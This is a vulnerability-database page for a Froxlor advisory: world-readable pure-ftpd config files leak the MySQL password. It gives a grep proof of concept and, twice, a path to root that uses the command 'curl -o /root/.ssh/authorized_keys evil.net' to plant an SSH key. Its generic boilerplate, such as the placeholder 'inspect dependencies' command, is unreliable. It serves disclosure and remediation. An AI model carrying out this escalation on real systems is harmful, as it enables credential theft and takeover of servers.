GHSA-34qg-65m4-f23m: Froxlor /etc/pure-ftpd/db/mysql.conf Is Chmod 644 But Vulnerability

HIGH
CVSS 7.3
CWE-732
Published
Advisory Summary

GHSA-34qg-65m4-f23m is a HIGH (CVSS 7.3) /etc/pure-ftpd/db/mysql.conf is chmod 644 but vulnerability (CWE-732: Incorrect Permission Assignment for Critical Resource) affecting Froxlor libraries in the Packagist ecosystem. The issue involves /etc/pure-ftpd/db/mysql.conf is chmod 644 but contains <sql_unprivileged_password>. Remediation is available by upgrading affected packages to version 2.2.0.

GHSA-34qg-65m4-f23m at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-34qg-65m4-f23m
Severity HIGH
CVSS v3.1 Base Score 7.3
CWE Classification CWE-732: Incorrect Permission Assignment for Critical Resource
Affected Product Froxlor
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix GHSA-34qg-65m4-f23m

To remediate this vulnerability, upgrade all affected Froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

froxlor/froxlor fixed: 2.2.0
Upgrade froxlor/froxlor to 2.2.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for froxlor/froxlor

How to Check if You Are Affected

To determine whether your application is affected by GHSA-34qg-65m4-f23m, inspect your project dependencies for Froxlor:

inspect dependencies for froxlor/froxlor

Analyze the terminal output to locate any version of Froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.2.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-732: Incorrect Permission Assignment for Critical Resource, where the product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors. In Froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary In Froxlor 2.1.9 and in the HEADs of the `main`, `v2.2` and `v2.1` branches , the XML templates in `lib/configfiles/` set `chmod 644` for `/etc/pure-ftpd/db/mysql.conf`, although that file contains `<SQL_UNPRIVILEGED_PASSWORD>`. At least on Debian 12, all parent directories of `/etc/pure-ftpd/db/mysql.conf` are world readable by default, thus exposing these credentials to all users with access to the system. Only Froxlor instances configured to use pure-ftpd are affected/vulnerable. ### Details https://github.com/froxlor/Froxlor/blob/2.1.9/lib/configfiles/bookworm.xml#L3075 ### PoC As non-privileged user: ``` nobody@mail:/tmp$ grep MYSQLPassword /etc/pure-ftpd/db/mysql.conf MYSQLPassword MySecretMySQLPasswordForFroxlor ``` ### Impact Any unprivileged user with "command/code execution" access to the system can trivially obtain the credentials granting access to the `froxlor` MySQL database. This holds true even for virtual users without SSH access as long as they are able to upload their own PHP scripts or other CGIs, and works even if the admin has setup a separate php-fpm pool that runs as their own user. Side note: This access to the database can be leveraged to obtain Froxlor admin privileges, and subsequently root privileges. For example: 1. Use the database credentials to extract or change a Froxlor admin's password hash and TOTP seed value. 2. Log into Froxlor as that admin. 3. Set the `Cron-daemon reload command` in `/admin_settings.php?page=overview&part=crond` to something like `curl -o /root/.ssh/authorized_keys evil.net`. 4. Wait a few minutes until the relevant cronjob runs, then log in via SSH. Please consider using passwordless unix socket authentication. Current versions of MySQL, MariaDB and Percona allow completely removing/omitting database passwords for database connections going through a unix socket, this works even for use cases where the database user has a different name than the system account running the database client: https://dev.mysql.com/doc/refman/5.7/en/socket-pluggable-authentication.html

GHSA-34qg-65m4-f23m Affected Froxlor Versions

1 component(s)
Fixed Versions:
2.2.0
Product / Package Ecosystem Affected Versions Fixed Version
froxlor/froxlor
Packagist
< 2.2.0
2.2.0

References

Frequently Asked Questions

What is GHSA-34qg-65m4-f23m?
GHSA-34qg-65m4-f23m is a security vulnerability in Froxlor involving /etc/pure-ftpd/db/mysql.conf is chmod 644 but contains <SQL_UNPRIVILEGED_PASSWORD> under CWE-732: Incorrect Permission Assignment for Critical Resource.
Which Froxlor versions are affected?
Affected versions include releases prior to 2.2.0 across affected packages: froxlor/froxlor.
What version fixes GHSA-34qg-65m4-f23m?
Upgrading to 2.2.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is froxlor/froxlor affected?
Yes, froxlor/froxlor is affected in releases prior to 2.2.0. Upgrade your dependency to 2.2.0 or later.
What is the CVSS score of GHSA-34qg-65m4-f23m?
GHSA-34qg-65m4-f23m has a CVSS v3.1 base score of 7.3 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with GHSA-34qg-65m4-f23m?
GHSA-34qg-65m4-f23m is classified under CWE-732: Incorrect Permission Assignment for Critical Resource (The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.).
How can I check Packagist dependencies for GHSA-34qg-65m4-f23m?
Run the dependency tree command: 'inspect dependencies for froxlor/froxlor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-34qg-65m4-f23m",
  "modified" : "2024-08-23T18:54:31Z",
  "published" : "2024-08-23T18:54:30Z",
  "aliases" : [ ],
  "summary" : "Froxlor: /etc/pure-ftpd/db/mysql.conf is chmod 644 but contains <SQL_UNPRIVILEGED_PASSWORD>",
  "details" : "### Summary\nIn Froxlor 2.1.9 and in the HEADs of the `main`, `v2.2` and `v2.1` branches , the XML templates in `lib/configfiles/` set `chmod 644` for `/etc/pure-ftpd/db/mysql.conf`, although that file contains `<SQL_UNPRIVILEGED_PASSWORD>`. At least on Debian 12, all parent directories of `/etc/pure-ftpd/db/mysql.conf` are world readable by default, thus exposing these credentials to all users with access to the system. Only Froxlor instances configured to use pure-ftpd are affected/vulnerable.\n\n### Details\nhttps://github.com/froxlor/Froxlor/blob/2.1.9/lib/configfiles/bookworm.xml#L3075\n\n### PoC\nAs non-privileged user:\n```\nnobody@mail:/tmp$ grep MYSQLPassword /etc/pure-ftpd/db/mysql.conf\nMYSQLPassword   MySecretMySQLPasswordForFroxlor\n```\n\n\n### Impact\nAny unprivileged user with \"command/code execution\" access to the system can trivially obtain the credentials granting access to the `froxlor` MySQL database. This holds true even for virtual users without SSH access as long as they are able to upload their own PHP scripts or other CGIs, and works even if the admin has setup a separate php-fpm pool that runs as their own user.\n\nSide note: This access to the database can be leveraged to obtain Froxlor admin privileges, and subsequently root privileges. For example:\n1. Use the database credentials to extract or change a Froxlor admin's password hash and TOTP seed value.\n2. Log into Froxlor as that admin.\n3. Set the `Cron-daemon reload command` in `/admin_settings.php?page=overview&part=crond` to something like `curl -o /root/.ssh/authorized_keys evil.net`.\n4. Wait a few minutes until the relevant cronjob runs, then log in via SSH.\n\n\nPlease consider using passwordless unix socket authentication. Current versions of MySQL, MariaDB and Percona allow completely removing/omitting database passwords for database connections going through a unix socket, this works even for use cases where the database user has a different name than the system account running the database client:\nhttps://dev.mysql.com/doc/refman/5.7/en/socket-pluggable-authentication.html",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.2.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.2.0-rc3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/Froxlor/security/advisories/GHSA-34qg-65m4-f23m"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/Froxlor/commit/5d2ce4ecfb0e9c397ef5c73b107fb9a0e122e910"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/Froxlor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/Froxlor/blob/2.1.9/lib/configfiles/bookworm.xml#L3075"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-732" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-08-23T18:54:30Z",
    "nvd_published_at" : null
  }
}